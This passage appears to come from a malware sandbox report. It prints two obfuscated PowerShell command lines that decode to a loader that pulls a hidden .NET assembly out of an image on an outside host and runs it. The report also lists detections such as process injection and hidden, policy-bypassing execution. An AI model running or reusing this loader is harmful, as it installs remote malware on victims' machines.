YQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process	wscript.exe	martian_process	powershell -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2364 resumed a thread in remote process 1684
NtResumeThread Oct. 23, 2023, 1:12 p.m.	thread_handle: 0x00000368 suspend_count: 1 process_identifier: 1684	1	0	0

Creates a suspicious Powershell process (9 events)

option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
